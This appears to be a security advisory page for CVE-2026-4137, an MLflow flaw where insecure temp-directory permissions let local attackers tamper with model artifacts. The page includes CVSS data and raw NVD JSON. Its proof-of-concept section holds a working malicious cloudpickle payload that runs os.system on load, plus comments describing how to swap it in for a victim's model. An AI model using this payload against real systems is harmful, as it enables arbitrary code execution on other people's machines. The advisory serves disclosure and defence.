Security Vulnerability Report
中文
CVE-2026-4137 CVSS 7.0 HIGH

CVE-2026-4137

Published: 2026-05-18 21:16:41
Last Modified: 2026-05-19 15:03:31

Description

In mlflow/mlflow versions prior to 3.11.0, the `get_or_create_nfs_tmp_dir()` function in `mlflow/utils/file_utils.py` creates temporary directories with world-writable permissions (0o777), and the `_create_model_downloading_tmp_dir()` function in `mlflow/pyfunc/__init__.py` creates directories with group-writable permissions (0o770). These insecure permissions allow local attackers to tamper with model artifacts, such as cloudpickle-serialized Python objects, and achieve arbitrary code execution when the tampered artifacts are deserialized via `cloudpickle.load()`. This vulnerability is particularly critical in environments with shared NFS mounts, such as Databricks, where NFS is enabled by default. The issue is a continuation of the vulnerability class addressed in CVE-2025-10279, which was only partially fixed.

CVSS Details

CVSS Score
7.0
Severity
HIGH
CVSS Vector
CVSS:3.0/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

MLflow < 3.11.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import cloudpickle import os # Define a malicious payload class class ExploitPayload: # This method defines how the object is reconstructed during unpickling def __reduce__(self): # Execute a shell command when the object is loaded # Example: creating a file as proof of execution return (os.system, ('touch /tmp/pwned_by_cve_2026_4137',)) # Serialize the payload malicious_pickle = cloudpickle.dumps(ExploitPayload()) # In a real attack scenario: # 1. Attacker waits for a victim to download a model to the shared temp dir. # 2. Attacker replaces the legitimate model artifact (e.g., model.pkl) # with this 'malicious_pickle' data, exploiting the 0o777 permissions. # 3. When the victim loads the model via mlflow.pyfunc, the command executes. print(f"Generated malicious payload of length: {len(malicious_pickle)}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-4137", "sourceIdentifier": "[email protected]", "published": "2026-05-18T21:16:40.710", "lastModified": "2026-05-19T15:03:31.370", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "In mlflow/mlflow versions prior to 3.11.0, the `get_or_create_nfs_tmp_dir()` function in `mlflow/utils/file_utils.py` creates temporary directories with world-writable permissions (0o777), and the `_create_model_downloading_tmp_dir()` function in `mlflow/pyfunc/__init__.py` creates directories with group-writable permissions (0o770). These insecure permissions allow local attackers to tamper with model artifacts, such as cloudpickle-serialized Python objects, and achieve arbitrary code execution when the tampered artifacts are deserialized via `cloudpickle.load()`. This vulnerability is particularly critical in environments with shared NFS mounts, such as Databricks, where NFS is enabled by default. The issue is a continuation of the vulnerability class addressed in CVE-2025-10279, which was only partially fixed."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.0, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.0, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-378"}]}], "references": [{"url": "https://github.com/mlflow/mlflow/commit/1dcbb0c2fbd1f446c328830e601ca13a28219b8a", "source": "[email protected]"}, {"url": "https://huntr.com/bounties/648dc30b-76c7-4433-86b8-f43d926fd8d6", "source": "[email protected]"}, {"url": "https://huntr.com/bounties/648dc30b-76c7-4433-86b8-f43d926fd8d6", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}